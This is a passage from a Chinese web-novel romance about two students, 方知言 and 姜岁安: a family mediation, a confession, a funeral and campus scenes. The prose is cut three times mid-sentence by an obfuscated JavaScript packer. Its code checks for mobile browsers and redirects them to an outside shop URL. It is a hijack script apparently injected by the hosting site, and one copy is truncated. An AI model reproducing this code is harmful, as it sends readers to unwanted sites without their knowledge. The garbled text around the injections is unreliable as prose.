能能大怒:“那是因为你本来就聪明,我就是不聪明,我就是学不会!他们自己都没达到的目标,凭什么要求我达到!” 方知言说:“所以,我觉得你们应该谈一谈。如果你不想直面你的父母,可以委托我帮你谈谈。好了,说出你的诉求吧。” 能能思考了一会儿,说:“我想围棋班和奥数班只选一个。” 方知言从口袋里翻出随身的小记事本,在天台的小彩灯下耐心记着他每一个斟酌再三的决定。 围棋班、主持人班、街舞班和奥数班四选一。 不要只允许进步不允许偶尔退步。 不要逼着自己写日记之后还翻看自己的日记。 不吃丝瓜。 不要总是PUA自己。 爸爸妈妈不要操那么多心。 “噔噔噔……” 有人在上楼梯,大脑袋和小脑袋齐齐向楼梯口望去,一个女孩的身影逐渐清晰。 姜岁安长舒一口气,说:“你们在这里捉迷藏吗?” 方知言合上笔记本,站起身来,能能也站起身来,自动与方知言形成统一战线,扯着他的衣服躲在他身后。 姜岁安说:“小朋友,你爸爸妈妈在找你,要不先给他们报个平安?你要是不愿意说,我帮你说就行。” 能能先看了看方知言,随后看了看姜岁安,点点头。 把能能送回房间之后,姜岁安拽着方知言来到天台。 她撑着脸,侧身凝望他,说:“有什么事情是我不能知道的吗?” 他问她听到了多少,姜岁安垂眸,说不大记得了。 他说:“我只是不想让你看不起我。” 姜岁安喝了一口还没喝完的酒,拍拍他的肩膀,说:“你多虑啦。” 方知言很认真地将手攀在她的胳膊上,仿若一只鸟紧紧抓住垂直落地的树干:“我说真的。” 姜岁安侧身抬脚,打了个哈欠,整个人横躺在他腿上,玩着手。方知言对能能的故事的讲述像是没有底气的呓语,从她的左耳飘进,又从右耳钻出。 底下忽然传来小电驴的声音,夫妻的尖锐叫喊声再次将民宿填满。方知言留恋地摸了摸她的头,岁安浑身一颤,说被摸头好奇怪,因为自己比他年纪大一点,他便放手,说:“我刚无偿接了个调解的案子,现在要去工作了。” 姜岁安感慨道:“小小的人,有小小的烦恼;中中的人,有中中的烦恼;大大的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355792|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有大大的烦恼啊,”她起身伸了个懒腰,突然拽着方知言的衣襟猛吸了一口,“香香的人,连烦恼都是香香的呢。” 方知言的脸红得快要滴血,紧紧捏着拳头,一步步顿顿往楼下走。 拉着能能和他的父母面对面坐下,方知言这才发现沟通是一件很难的事情。 能能说他不喜欢吃丝瓜,他的母亲说丝瓜很有营养,他的父亲说丝瓜炒蛋好吃。 能能还是说:“我不喜欢吃丝瓜。” “那以后给你做丝瓜汤。” “我不喜欢、我讨厌丝瓜!你们是聋的吗?” “小哥,你看看这孩子,好说歹说不听,还骂我们。” “就是啊。” …… 方知言哑巴吃黄连,在心里想,明明是你们好说歹说不听,为什么要把错误怪在孩子头上。他说:“要不我们先搁置丝瓜这个问题,聊聊其他的吧。” 可这样无效的对话仍在上演。 姜岁安的消息突然在屏幕上闪烁——多说点甜话,把人哄好了,沟通就事半功倍了。 没做过家庭纠纷的调解啊…… 他这才明白何为“清官难断家务事”,但总不能让自己“代理”的第一个“民事”调解案子就狼狈败下阵,只得与这对父母鏖战到深夜。刑事辩护看似下风但都有道理可讲,这样面对面的交锋他却无所适从。 躺在床上,方知言翻来覆去睡不着,窗外只有月亮,没有星星,看来明日的天气应该不会太好。 闭上眼睛,就是老先生和父亲在自己一左一右,你一言我一句地“不如你姐姐”,睁开眼,亦是黑漆漆一片。可是夜已经深了,再不睡就又要醒了。 没想到,睡觉竟然又成为了一种奢望…… 奢望…… 姜岁安沙白的衬衣很宽松,纯黑的阔腿裤随着衣摆在海边飘荡,她额前的碎发和留长的青丝掩住浪底的平静,一线红绳格外艳丽地开在她的手腕上,波光粼粼冲起一条条白浪,浸湿了赤裸行走的双足,她刻意微微前倾的脖子和斜方肌,呼唤海洋。 揉碎了白云要配这海面揽下的晴空万里。 她的红绳花一眨眼却又绑在他的手腕上。 “你不是说,要把它送给最珍贵的人吗?”方知言喉结滚动,手上的矿泉水瓶握住的时候很有份量,拿起来的时候却成了个空瓶子,他能感觉到自己的思绪被海风吹成了乱麻,他咽了口口水。 姜岁安突然踮起脚尖,在他面前转了几个圈,模糊了方知言的视线后吻在他的脸颊上。 他倒在了沙滩上,沙滩是一张柔软的床。红绳花绑着自己,于是他以无法动弹的姿势跪坐在床头。 女子的手从后背摸向自己的前胸,将那聊胜于无的纱衣扯去。他看不见身后之人,却知道她是姜岁安。 他反手解开圈住自己的红绳花,同时反过身,依旧跪着,跪向她。 姜岁安顺势躺了下来,抿着嘴,勾着他的脖子,往自己怀里拦,她湿润的唇轻启:“我已经是你的人了,你还在等什么,等我叫你的名字吗?” 方知言这时候已经发现了自己在做梦,于是趁着夜色还浓,死死闭着眼睛,惟恐天光从云间挣脱。 “方。” “知。” “言。” 月色雪白多余,秋光乍泄,隔墙幽梦。 第二天一早,方知言收拾好一夜的“好光景”,看了看手机,心下一喜,轻轻敲了敲她的门。姜岁安睡眼朦胧地拉开木门,顶着一只麦粒肿的眼睛,打了个哈欠,说:“不行,今天出不了门了,我眼睛睁不开。” 方知言说:“姜岁安,我拿到诚天的offer了。” 姜岁安努力睁大自己的眼睛,随后意识到自己应该努力张开耳朵:“哇塞!我就知道,你真是超级无敌……呃……厉害!唉我语无伦次了,你让我进去洗把脸……” 于是她迅速跑进房间拿水泼了把脸,走出来,郑重道:“方知言,不负众望,”她捏了捏自己的下巴,“我想想怎么给你庆祝……” 31. 秋光乍泄(四) 姜岁安说,要带方知言做他大概率没做过的事情。 那个梦又一次闪烁在他眼前,方知言支支吾吾道:“是不是……太快了……” 她的左眼皮和右眼皮各自跳了两下,将将领悟他的羞涩,将那尾音上扬:“哦——你想到哪儿去了?我是说,带你去打、电、动。” 姜岁安想逗逗他,伸出手指从他卫衣圆形的领口划到胸口,使了点力气。 方知言咽下了慌张,将她放在自己胸口的手摘橘子一样摘了下来,沉思了一会儿,说:“你把我想得也太惨了些。” 民宿像一个很大的轰趴馆,配有一些电玩城的基础设备,姜岁安说要和他决一死战。之所以喧杂待在民宿的理由很简单——灵州又下雨了。 手上冰球,每每路过都要找个人陪自己玩一把。 小时候对手是牛先生,现在成了方知言。 他说自己不会,可却没有一点新手横冲直撞的样子。 姜岁安在被他进了两分之后眯起了眼,捋了把袖子,神情认真。 “方知言,你什么星座?” “……” “方知言,我什么星座?” “射手。” “方知言,手机尾号是多少?” “……” “方知言,我今天穿的是什么颜色的裤子?” “你在分散我的注意力。” “嗖——” 最后一球定胜负,姜岁安赢了:“兵不厌诈。” “你知道我很喜欢你,对吗?” 他的语气没有一丝询问和调情,在确认,确认姜岁安的利用是否只是单纯的胜负欲作祟。 她让他靠近自己,抬脸咋眨眼睛,认真地握住了方知言的手,直到掌心把他的手背捂热。 方知言不懂姜岁安为什么能毫不掩饰地表达自己的态度观点,却总在爱上面遮遮掩掩。 姜岁安只是说自己觉得肉麻。 “那我换个说法,姜岁安,你很喜欢我吗?” 她郑重道:“是,我很喜欢你。” “你为什么喜欢我呢?” “我为什么不能喜欢你呢?”姜岁安一边说,一边往娃娃机走,看了看里面的玩偶都不合审美,索性就站定了,不逃了。她其实很明白方知言对自己的感情来自哪里——是距离。 她很害怕出国读书之后他的不在场,也害怕没能被录取后与他的磁场渐行渐远。所以在知晓方知言被诚天录用之后,她是失落的,但理智告诉自己,她应该高兴——至少在此刻应该为他高兴。 所以,至少在灵州这个陌生的地方,他们可以互相依赖,哪怕是方知言朝自己撒娇打滚都行。这是一种默契,是不必也不能说出来的。 方知言打破了这规矩,说出来,就像在许下一个方寸之间的誓言,再如何也逃不掉了。 “我无趣、假正经、墨守成规……懦弱。” 懦弱…… 她呼吸一滞,心脏乱跳,不敢相信方知言会用“懦弱”来形容自己。 “这是别人对你的评价吗?”她试探着问。 “不是,我只是在反省。你当时说我,十八岁活成八十岁的样子,我以为你在夸我,后来想想,应该是说我‘老气’。” 姜岁安的眼睛本来就麦粒肿,现在含了眼泪,又酸又疼。她从来不知道,自己那无心的话语会让一个人怀疑自己的底气,她很愧疚,愧疚到只能剥开自己的洋葱皮,让他人流泪,让自己伤悲。 “我曾经被一个朋友在背后说过‘虚伪’,那应该是初中吧,所以记忆有些模糊了。她在初三的时候转学了,留给我一封信,说对不起。 “她告诉我,她是出于嫉妒才会拉小团体传播我虚伪的,理由太牵强不过——我初中的时候是个文艺病晚期患者,喜欢写一些什么忧郁酸涩的句子和小故事,老师兴许是觉得我的文章还有点不同,所以在课上时常会表扬我。初高中嘛,文艺病小孩是会被语文老师当成宝贝的。 “可她认为我这样一个家庭和睦、从未有过什么挫折的人写这些东西就是虚情假意博关注,所以被扣上了‘虚伪’的帽子。那时候真的很郁闷,晚上睡觉想起来都还会偷偷抹眼泪,思考自己到底哪里做错了。 “后来我发现,人就是要被误解的,就是要被人不喜欢的。这样的话,喜欢才会显得弥足珍贵。哪怕我的文艺病的的确确造就了一个虚伪的我,但我没伤害别人,就得允许自己在那时的可能,我感谢她。 “所以方知言,我要先给你道个歉。回答你的问题的话,我只能说——因为你是方知言,我是姜岁安。” 如果你撇去了所谓“无趣、假正经、墨守成规、懦弱”,那我遇见的人不会是你,你爱上的人也不会是我。 姜岁安不喜欢往前捯饬“为何”,因为未来是未知的、过去是供人评判的,只有现在是唯一的。 “你谦逊温良、心里藏着点叛逆和腹黑、脸红的时候也很可爱……方知言,因为你不复杂,也不蠢笨。” 虽然不理解岁安在谈及过往的时候总用“她”而非“我”,但听着她的字字句句,他有落泪的冲动。 她又问,是不是能能的遭遇让他想到了自己。 他说是。 可姜岁安每次问他有关原生家庭的事,方知言都闪烁其词,让她这个想象力很丰富的人把他编排得好惨好惨。 最后再泛滥爱情。 他未必有那么惨,自己也未必有那么阳光可爱,所以,一切都是刚刚好的。 灵州嘛,无缘化有缘,孽缘化正缘。 她肿着眼睛说:“本来应该是我来回应你的,现在又变成我的口无遮拦了。跟你说这些其实我觉得有些尴尬,又有点后悔,但是方知言,谢谢你愿意听我的絮叨。” 他摸着她的脸说:“我确实是在寻找一些落到实处的观点来证明自己值得你的喜欢,姜岁安,谢谢你愿意喜欢我,这是我的荣幸,真的。” 这份爱太沉重了。 荣幸…… 若是方知言早用“荣幸”,她一定不会选择默许他的告白,可现在也逃不掉了。 雨打窗外,淅淅沥沥,把记忆冲刷得透明。 早在开始,他似乎就说过“很荣幸认识你”,她那时以为是他的口癖或者什么奇怪的礼仪,于是也学着这种夸张的样子回敬,原来从那时候起,自己就已经被无名的红绳捆住了心。 所以……不胜感激。 窗外的雨丝爬在空气中,有些被半掩的羞花盛起,有些攀在偌大的厚玻璃窗上,方圆几里之内没有落在任何人的心上,可还有人谎称着自己永远会热恋雨季。 恋爱并不美好。 至少在开头的这几天里,姜岁安是这样感觉的。 暧昧的时候随心所欲,恋爱……却开始小心翼翼,害怕这那和南北东西。 可俗话也说得好——万事开头难。 这天,姜岁安临时被催着回校交个什么材料,说是通知发晚了,明早截止了。无奈之下,她和方知言只能买了最临近的一班飞机。 候机室的自助餐不好吃,姜岁安喝了几口酸奶就开始闹肚子。 灵州是毫不留情啼哭的婴儿,是垂垂暮矣泪痕沧桑的老者,似乎不舍得来往的游客一般,将航班推迟了好久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359252|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好不容易上了机,方知言找乘务员要来了冰块,放在她眼睛上,随后两个人一沾椅子就睡了下去,肩靠着肩,头挨着头。 醒来的时候,靠在一起的两个肩膀全部湿透。 但落地北城,冷风很快把衣服吹干。 终究还是回到了北城,秋天里放了干燥剂的北城。 夏静雯在重阳的时候突然请了一场剧本杀,说是要宣布一个重要消息。来的人多是一中同在北城上学的同学,姜岁安多多少少都认识,唯独少了方知言,他说家里有事,所以回了汐城。 居然还要特意回汐城…… 那应该是大事吧。 玩的是个民国本,姜岁安演一个学生,夏静雯演军官。 最后复盘的时候夏静雯说,自己准备入伍了,所以以后见面的时间就不多了,现在要好好稳固友情。 难怪她会选这样一个本子。姜岁安想。 她突然意识到,人到了每个阶段都会各奔东西,然后遇见新的人,而旧的人,要么被留在记忆里,要么与自己继续前进。中高考过后大家基本也都还在学习和上课,话题还能说到一块去,大学毕业是另一关,工作可能也算一关,关关难过关关难。 吃了晚饭后,姜岁安特意留了下来陪着夏静雯。 她问:“为什么要走这一条路呢?” 夏静雯犹豫了一会儿,告诉她:“之前提过一嘴,我有个哥哥,也是警察,他在我九岁的时候出任务牺牲了。我爸妈一直不愿意告诉我为什么,后来我长大了,过年大扫除的时候发现了母亲的笔记本,偷偷藏了起来晚上看,里面说,哥哥是因为跟歹徒搏斗,被刺穿心脏而死的。 “我到现在都有一个念头,那就是——死亡是光荣的,当然也可怕,可是人反正都是要死的,老死和被弄死,我没死过,不知道哪个更痛,所以自然而然就释怀了。” 姜岁安笑骂她丝毫不敬畏生命,想了想,说:“对很多父母来说,似乎并不希望自己的孩子成为军人,我们家牛先生和姜女士一直都这样,说让我最好当个老师——因为安全。” “就是因为我们把命看得太重,所以才要有不怕死的人。” 姜岁安依旧不能理解,而且是完全不能理解。 但她尊重夏静雯的选择。 见姜岁安一脸疑惑,夏静雯问她:“你不是也一样吗?你相信蜉蝣撼树和水滴石穿,倒不是坚信努力就有回报,而是心里窝着一股火,偏要以下犯上,这样才显得自己有价值,不是吗? “岁安,我理解你,是因为我理解我自己,但你很奇怪,你把自己置于一个不安的境地,然后总要为别人寻找安定。 “这样太累了,岁安。” “谢谢你。”姜岁安挽着她的手,感觉难受,说夏静雯的胳膊很硬,还问她有没有腹肌。 “姜岁安你个流氓。” “流氓怎么了?流氓是一种人生态度,不要脸皮,就是无敌。” “你脸长颗痘都要内耗的人还好意思说这个?”夏静雯想起了姜岁安高中的时候因为嘴巴长了个痘而天天戴口罩最后把痘闷恶化怒请两天假的事情,打趣她。 “生物上的脸用来回馈社会,精神上的脸用来报复社会,此乃我生活的反抗之计。”姜岁安逐字逐句,郑重道。 两个人哈哈大笑起来,笑到最后口干舌燥,路过饮料机刷了两瓶矿泉水。 姜岁安忽然一瘪嘴哭了起来。 她说自己害怕,可当夏静雯慌乱安慰她的时候,她却不告诉她为什么。 夏静雯被急得团团转。 姜岁安又咧嘴一笑,笑比哭难看。 32. 来往和这那(一) 我在这,你在那;你来,我往。 如果我们始终要保持着一定的距离,那我就这样静静地站在原地,看着你就足矣。 请苍天画一个圆,最好困住我,或困着你我,但请不要困着你。 后来才知道,这个圆无非就是井中的天,天外有天,天外的天外还有天,天外的天外也还有天。 躲不过的天困住你我,困住来往,困住这那。 却困不住你下定决心要走。 我承认,我动了心,更动了私心,私心你会留下,私心给你我所拥有的一切,私心不问你是否想要。 所以,别因为我而甘愿做井蛙,去做飞鸟吧。 | 到汐城的飞机落地了,滑行中,方知言关了飞行模式,刚巧接到了姐姐的电话。方知语说,陆凯哲去世了,也就是庄园里那匹白马的主人去世了。 “所以你让我赶紧回来?” “你个没良心的,怎么,这不该回来吗?” “姐,对不……该回来的。” “不说这些了,我在公司,马上来接你。” 方知言沉思。 陆哥是他生命中第一个能被称为“桀骜不驯”之人的,他初中打了唇钉耳钉,喜欢搞摇滚还当过练习生,那时方知言六岁,觉得很帅,甚至跟方知语说过自己也要成为这种酷毙了的人。 方知语那时候在追东方神起,觉得方知言要是去韩国出道并且和他们一个公司那也是很好的,因此不置可否。 这话被方父听见了。 方父是十分瞧不起陆凯哲这样不学无术的人的,早就让方知语跟他划清界限,没想到自家的小子被带坏了去。他跟方知言说了他很多坏话,最后警告他不许与之来往。六岁的方知言堪堪信了一半,小小年纪逐渐也学得居高临下。 这种心态还是初中的时候被方知语扭转过来的。 此刻,重阳。 方知言穿着黑色西服,胸口塞了一片白色方巾,手上拿着白色的菊花。很多人来都是做做样子,父亲和母亲就是这样的,明明小时候全然看不惯陆哥,但还是惺惺作态地宣讲自己的不舍。 虚伪…… 他忽然想到了姜岁安,姜岁安也被人说过虚伪。 于是他又把这个评价吞回肚子里,直到身边一袭彩色长裙的方知语口型与这词不差一字地贴合。 陆哥追过姐姐,但方知语似乎并不喜欢他,虽然会出面帮陆哥说话,但总的来说,他从小就闻不到他们之间的男女情感气息。 方知语没哭,估计也懒得哭。 方知言颓然落寞,侧眼一望,一排人,满手的白花,满身的黑色,却没人想过陆哥花粉过敏,而且最讨厌黑色,就连自己也是才反应过来。 他这才明白为什么方知语要在这种场合穿彩色的裙子,没有拿花,随身带着一张带有迈克尔·杰克逊亲签的黑胶唱片。 体面话的过场走完了,吃饭的过场也走完了,方知语今天没去公司,呆在庄园里,静静地呆在那匹白马面前。 白马这个晚上很安静,眼睛闪烁着盈盈的泪光,像是圆而透亮的月亮,月亮…… 它从半个月前就开始莫名不进食了,方知言在北城收到佣人消息的时候没太放在心上,以为是老马终会有这一天的,不再意气风发,不再鬃毛飞扬。原来是心连主,主客死他乡,它又如何甘心驼别人的行囊? 方知语说,世事难料,难料世事,怪得很,也难怪。 方知言静静听。 方知语闷声一句:“穿护具去。” 方知言还穿着西装,看了看她,又看了看马,疑惑至极。 眼见方知语起身走向马场的红房子,方知言才知道她是在自言自语。 “你也是。” 行吧……方知言哑巴吃黄连,迫于亲姐的威严,耷拉着脸…… 姐弟两个人你换我来我换你,硬生生把马跑累了,倒在草地上。 他气喘吁吁地问她这是在干什么,方知语说:“让它好好休息,免得思念成疾。” 他问:“陆哥不是在美国搞音乐吗,又不是混□□的,怎么会这样?” 方知语同样喘着大气,屁股生疼:“起初都以为他是在好好读音乐学院,既然喜欢音乐,那就支持,混个音乐学院的学历回来也算镀了层金。后来才知道,这死人书没读,跑去搞地下摇滚去了。 “警方说是跟混混起了冲突,被一枪贯死了。那边最近太混乱了,政策也不友好,所以现在留美少了很多,我大学的同学在国外读研究生的有些也都又回来了。 “陆凯哲,我原以为他只是爱和陆叔对着干所以跑到那边去,现在才知道,他跟爸说的没有一点出入——犟还蠢。” 方知言眉头紧蹙,良久没有回应。 他的脑子很乱,花了不少时间接受事实,又花了不少时间从她的诋毁话语里读出悲鸣和遗憾。 又花了很多时间,来区别陆哥和姜岁安,区别白马和姜岁安。 想着想着,就不敢想了。 成年之后,方知语几乎很少跟这个弟弟说话,直到今天,她才把自己的想法向他全盘托出,迫切期望这个榆木脑袋能给自己一些启发。 陆凯哲活得太自由鲜活,哪怕他宣告自己特立独行的手段极端张扬,但至少对方知语这样一个活在保鲜室的花朵来说,那完全就是一个披着杀马特和“钉子”户外衣踏月而来的王子。 而且还是身骑白马的王子——本质是个混混。 哪怕她自己说自己不曾爱过他,但陆凯哲对她的意义太明显不过。 “有他这样不羁放纵又敢于追梦的人在身边转悠,加上青春期的叛逆,才让我至少没有丧失对生活的全部热情,也知道有时候不该守规矩。 “既然结局如此,于他而言,何尝不是一种解脱?反正这个世界上没有人理解他,不如去到更加另外的地方。” “姐,你何必在他死后说这些风凉话?” “风凉话吗?我只是在骂他而已,没那么高级。” 方知言彻底凌乱了。 此时此刻,他只希望自己在做梦。 姐弟俩沉默了很久,各有心思,两双眼睛直勾勾地盯着马场天空的月亮,直到黑云将繁星和月遮了去,草地味道的风刮过脸庞,气味腥湿,仿佛月是镰刀把草根断尽。 这样被吹,倒是让他的脑子清醒了不少。方知言问:“姐,我们家有什么在新闻工作上的人脉吗?” 方知语瞥了他一眼,淡淡道:“有……怎么,你有脏事要做?不过我说,搞新闻的心眼都多,你目前的修为是斗不过别人的。” “为一个纯白无暇之人做件脏事。” 方知语皱眉看着他,不知是夸奖还是讽刺:“真是成熟了。” …… 姜岁安做了一个梦。 她梦见一匹马驰骋在彩色的花海中,马背上有一团影子,她想要看看那人有没有胡子,以便分清驰者是子龙还是关二爷,或者……也可以是自己。 于是她惊喜又好奇地靠近,恍然发觉影子是花与树的虚影。这匹马在她面前驻足,睁着圆圆的大眼睛,姜岁安在这汪澄澈里看不见女人的脸,反而看见了长长的鼻子。 这匹马原来是自己,准确来说,自己原来是一匹马。 她睁开眼睛,摸摸自己的脸。 合着人善被人骑呗…… 那还是做个对社会没有危害性的正直恶人好了…… 姜岁安打了个哈欠,明明很困,但是又睡不着,只好爬下床去打开电脑,默默背起书来。 果然,理论什么的最催眠了。 忽然,邮件的图标上多了一个红点,她脑袋里被点了个炮仗,放在鼠标上的食指颤抖着点开—— 原来是视频会员过期了的提醒。 话说自己什么时候能收到录取的邮件呢? 如果被录取了,那么我跟方知言就得异国恋了;如果没被录取,那我该怎么规划自己的路才能与他平起平坐呢? 她忽然有些埋怨方知言,因为她需要把他纳入自己计划的轨道之中,不然她一定会秉持走一步算一步的平和心态,一辈子不与自己争抢。 她双手撑着脸,傻傻勾起唇角:唉——何尝不算是一个幸福的烦恼呢? 既然睡不着,她决心做一件大事。姜岁安小心翼翼地打开台灯,从笔筒里挑了支笔,画起了思维导图。 标题就叫做……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜岁安换上虚伪的笑,心想怎么有人一大早就要来自寻不愉快,随后无辜地瘪嘴,朝她眨眨眼睛,凑到她耳边勾起唇角,用气声说:“没关系,就算我没有拿到offer,本校的保研名额依旧有我一个,而且你知道的,我们学校的这个研究生名额啊,不、会、顺、位。” 想起这个,她立刻撕了条便签提醒自己把这个可能性也嵌进去。 与她最不对付的姑娘朝她翻了个白眼,到阳台上把水龙头开得最大,隔绝自己的声音。 “装个什么劲……” 姜岁安自讨没趣,点了杯咖啡送到宿舍楼下,盘腿坐在大一刚开学就从学姐那儿淘来的旋转沙发椅上,打开电脑正准备剪视频作业,就发现桌上的日历已经好久没翻了,伸手翻到今天的日期,想了想,时间果然过得飞快,光阴似箭不是说说而已。 最近的节日是……万圣! 又有理由出去搓一顿了! 姜岁安——情人节不信玫瑰花,万圣节不信南瓜灯,平安夜不信耶稣,感恩节不信火鸡,因为火鸡不好吃,但是她相信,所有的节日都是给人们创造见面机会的,尤其是自己和方知言这样的忙人。方知言既不逃课也不逃活动,大四了还忙得风生水起,平常想约出来着实有点困难。 灵州……灵州是例外。 姜岁安决定当天直接去S大逮他。 正想着,咖啡已经到了,于是她收拾好书本和电脑,在舍敌离开洗手池后刷了个牙,对着镜子把头发梳顺,丝滑穿鞋后背包离开了宿舍。没装电梯的楼层充斥着“哒哒哒”的赶路声,明明是下楼,却感觉腿在拼命上抬,一瞬间晨光从窗里漏进来,将楼梯的方向重置,失重一瞬,姜岁安稳住步伐,头往上抬。 手机的日历往后翻了好多天。 S大的楼梯真高,她差点把自己绊一跤。 她一袭黑衣和黑口罩,带着棕色的小熊鸭舌帽,伸头往他的教室里探——第一排、第二排、第三排…… 方知言坐在倒数第二排,低头翻书,眉目安静,秋冬阳光祥和地铺在他身上,将影子洒在地上。 他忽然敏锐地抬起脸朝后门口看,姜岁安立刻压低帽檐,不得不跟着踩点到达后门的同学挤进教室,坐在他身后,探出毛茸茸的脑袋往他的屏幕上看。 方知言回神低头,指尖迅速擦过一页纸,发出很大的响声,把坐在自己身后的黑衣女侠吓了一激灵。 他垂眸浅笑,修长的手指继续翻动书页。 直到身后传来幽幽的一声:“方知言,别再钓我了呗?” “不行。” 33. 来往和这那(二) 姜岁安被这话击中了心,方知言依旧用自己那修长的手指扫过书页,漫不经心地审阅着有关秩序的文字,伺机而动地混乱着一个人的心。 优雅而狡猾。 主讲的教授抿了一口茶,推了推眼镜,环视教室——逃课的逃课、实习的实习——没什么人。 他低声问:“怎么来了?” 姜岁安身子往前趴:“不欢迎我吗?” 上面的老师开始讲案例,姜岁安闻声戳他的肩膀:“好好听课。” “姜岁安,再多说说话。” “啥?” “你讲话比他讲话有趣多了。” 姜岁安继续有节奏地戳他的肩膀,小声道:“哪有你这么不尊重人老师的?” “你逃的课只会比我多,不会比我少吧……主要还是他讲的这些东西我大二就自学完了,你看底下的人,要么在刷考研题和考公题,要么在处理工作。你放心,这位还很明事理的,除了——” “那个……最后一排的黑色衣服女生,看你面生,来谈谈你对这个案例的看法吧。” 偶尔会随机点人起来回答问题。 姜岁安左顾右望,终于在确认了这排只有自己一个人后尴尬地站起身来。 方知言安静地坐在自己前面一个位置,姜岁安只能看到乌黑的发顶,但她知道,方知言应该、大概……肯定在憋笑,于是身体止不住地微微发颤。 姜岁安的回答狡猾,涉及判罚量刑具体的一概不提,怕班门弄斧惹一身尴尬,反倒在案件事实上做文章——也得亏自己从小案件播客听得多,找到一些有争议的地方还是很轻松的。她的回答无功无过,教授放她坐了下来,姜岁安动了恶棍与方知言同生共死的念头,但紧接着方知言就被点了起来。 “知言,补充一下。” 教授你坏事做尽但善始善终。 总算是熬到了下课,方知言不紧不慢地收拾着桌面上的东西。 “你未免太慢了点……” 慢到所有人一哄而散,慢到时光刚好停止,正午的阳光流连,橙黄的颜色只悬于两人之间。 她大大咧咧一屁股坐在他身边,打了个哈欠,侧脸趴在桌上,着看他多此一举地把纸张的四条边都分别用桌面对齐。 眨眼之间,方知言飞快在自己脸上啄了一口。 这才是他此番的目的。 “所以,你还没说为什么来呢。”他说。 “带你去玩。” “是你自己想去玩吧。” “是的。” 少女一贯坦诚。 “午饭吃了吗?”他问。 姜岁安摇摇头。 “要不在学校吃吧。”他从口袋里摸出校园卡递到她跟前。 姜岁安两指夹住:“方老板大气。” 姜岁安这一身穿得街头,碰巧中午刚放学,电梯前排了长龙,两个人就只好肩并肩折返去走楼梯。 走在去食堂的路上,姜岁安环顾四周:“你们学校真是气派。” “食堂没你们好吃。” “真的假的?” “真的。” 姜岁安来到自选称重区,打了两荤一素,找到位置后坐下吃了一口,皱起眉头,说:“确实。” 方知言坐下。 埋头吃了几口之后,姜岁安猛然抬头,眼里亮晶晶:“我最近完成了一个超级大工程,没带出来,回宿舍拍照发给你看。” “现在不能说吗?” “嗯……暂且保密吧。” “行。” 收完餐盘,姜岁安依旧没有说自己究竟要带方知言去干什么,直到出了校门口,她在栏杆边上背起一个滑板包。 方知言说:“你不怕被偷?” “S大的学生应该都是高素质吧,所以我很放心的啦。” “可我不会滑。” “你不是带我骑过马吗?滑板应该差不多的,你放心,这次换我载你,本人以微信支付分720的名义保证,在平地上让你感受如履平地。” 姜岁安近乎同语反复的誓约在一路国槐和银杏的注视下被见证。 国槐没有叶子,银杏黄叶飘飘。 一个秃头,一个掉发。 姜岁安摸摸自己的脑袋,又摸摸方知言的脑袋——还好还好。 方知言站在前面,把姜岁安遮得严严实实。 她从后面扶住她精瘦的腰,探半个脑袋出来看路,一路蹬脚滑行。脖子实在不好受,于是便让方知言在前面给自己领航。 方知言吐槽:“我怎么像导盲犬一样?” 路过遛狗的人,金毛犬开心地朝着方知言“汪汪”两声,若不是有主人拽着,就要屁颠屁颠地追上来,似乎真把他当成了与自己一样的生物。 姜岁安笑他,方知言沉默。 滑板从干燥的叶子上碾过,咔嚓轻响。 姜岁安让方知言稍微蹲点,自己把脑袋搭在他的肩膀上。 方知言突发恶疾,扭着身子,缩成鸵鸟,在姜岁安的念经祈祷“别翻”下,滑板开始不稳,两人就这样在平地上翻了车。 姜岁安屁股着地,但不疼,望着手搭在脖子上脸红耳热的方知言:“那里很敏感吗?” “有点吧。” 她起身拍拍衣服沾上的叶子,伸手把他捞了起来,踮脚朝他伸出爪子,方知言下意识躲,他一躲,姜岁安就得逞地发出“咯咯”声。 “行,我不弄你了。”她拍拍手,说。 姜岁安想:要是送方知言一个项链,只要轻轻一扯,他就会红着眼睛轻嚎,简直妙哉美哉——所谓英雄真是难过美人关…… 善哉善哉…… “你在想什么?”方知言问。 “没想什么啊。” “你口水流下来了。” 姜岁安伸手去擦,发现方知言在糊弄她:“你——” 她把滑板扶起来,两人继续向前。 “你什么时候开始滑滑板的?” “嗯……刚上初中吧。一开始滑的时候,战场就在小区楼下的广场,那时候应该是滑板正流行,好多滑旱冰的高手也都买了滑板。我也是跟风,死缠烂打,甚至拿节食威胁姜女士和牛先生。” “后来呢?” “后来是被一碗鲅鱼饺子骗出去的。本来以为这件事情不了了之了,没想到牛先生在我十二岁生日的时候,真送了一块板子给我。 “我每次都早早到那里,坐在花坛边上,等那些玩技巧的人都走了才敢拿着自己的板子去滑。 “从小就怕疼,拔牙一定要打麻药,所以不指望自己能做什么高难度的动作,哪怕真的很帅。到现在,我能保证的也只是在平地上一路带风,一路顺畅,要快更要自由。” 姜岁安把速度加快,方知言迎风而上。 坡度缓缓上升,姜岁安感到了吃力,拍拍方知言:“方知言,一起动一动呗。” 于是方知言把脚放下去,一点一点蹬。 姜岁安说:“收脚。” 越过这个小丘,是下坡,迎风而下。 方知言穿得不多,风从他身体里穿过去,干干净净,什么也没留下,什么也没带走。 